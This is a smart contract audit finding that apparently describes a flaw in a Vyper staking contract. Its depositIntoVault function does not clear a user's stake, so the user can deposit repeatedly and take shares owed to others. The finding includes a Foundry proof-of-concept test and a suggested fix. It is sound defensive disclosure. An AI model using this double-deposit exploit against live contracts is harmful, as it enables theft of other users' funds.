Summary
The depositIntoVault function fails to update the users balance in the usersToStakes array, this allows a user to call depositIntoVault multiple times, depositing their staked amount into the vault and receiving shares for that amount each time.
Vulnerability Details (POC)
as we can see in the function depositIntoVault :
@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
The stakedAmount is used to calculate the amount of shares received but fails to update this state before sending the amount to the vault.
In Steaking.t.sol add a second user to the setup:
contract SteakingTest is Test, EventsAndErrors {
address public owner;
address public user1;
+ address public user2;
ISteaking public steaking;
MockWETH public weth;
MockWETHSteakVault public wethSteakVault;
function setUp() public {
string memory path = "src/Steaking.vy";
owner = makeAddr("owner");
user1 = makeAddr("user1");
+ user2 = makeAddr("user2");
Then add the sollowing test:
function testDepositIntoVaultCanBeCalledMultipleTimes() public {
uint256 dealAmount = 1 ether;
uint256 dealAmount2 = 2 ether;
vm.deal(user1, dealAmount);
vm.deal(user2, dealAmount2);
_stake(user1, dealAmount, user1);
_stake(user2, dealAmount2, user2);
_endStakingPeriod();
vm.startPrank(owner);
steaking.setVaultAddress(address(wethSteakVault));
vm.stopPrank();
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
vm.startPrank(user2);
vm.expectRevert();
steaking.depositIntoVault();
vm.stopPrank();
uint256 wethSteakVaultShares = wethSteakVault.balanceOf(user1);
assertEq(wethSteakVaultShares, dealAmount2);
}
In this scenario 2 users have staked to the protocol.
user1 stakes 1 ETH
user2 stakes 2 ETH
staking period ends
user1 deposits to the vault for a value of 1 ETH
user1 calls deposit again for a value of 1 ETH
user2 calls deposit for a value of 2 ETH, but fails due to the contract only having 1 ETH of balance
Impact
A user can call this function multiple times, denying other users of a claim to their shares.
Tools Used
Foundry, Manual review
Recommendations
Update the state of the users Balance after getting the sharesAmount value for the deposit.
@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
+ self.usersToStakes[msg.sender] -= stakedAmount
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
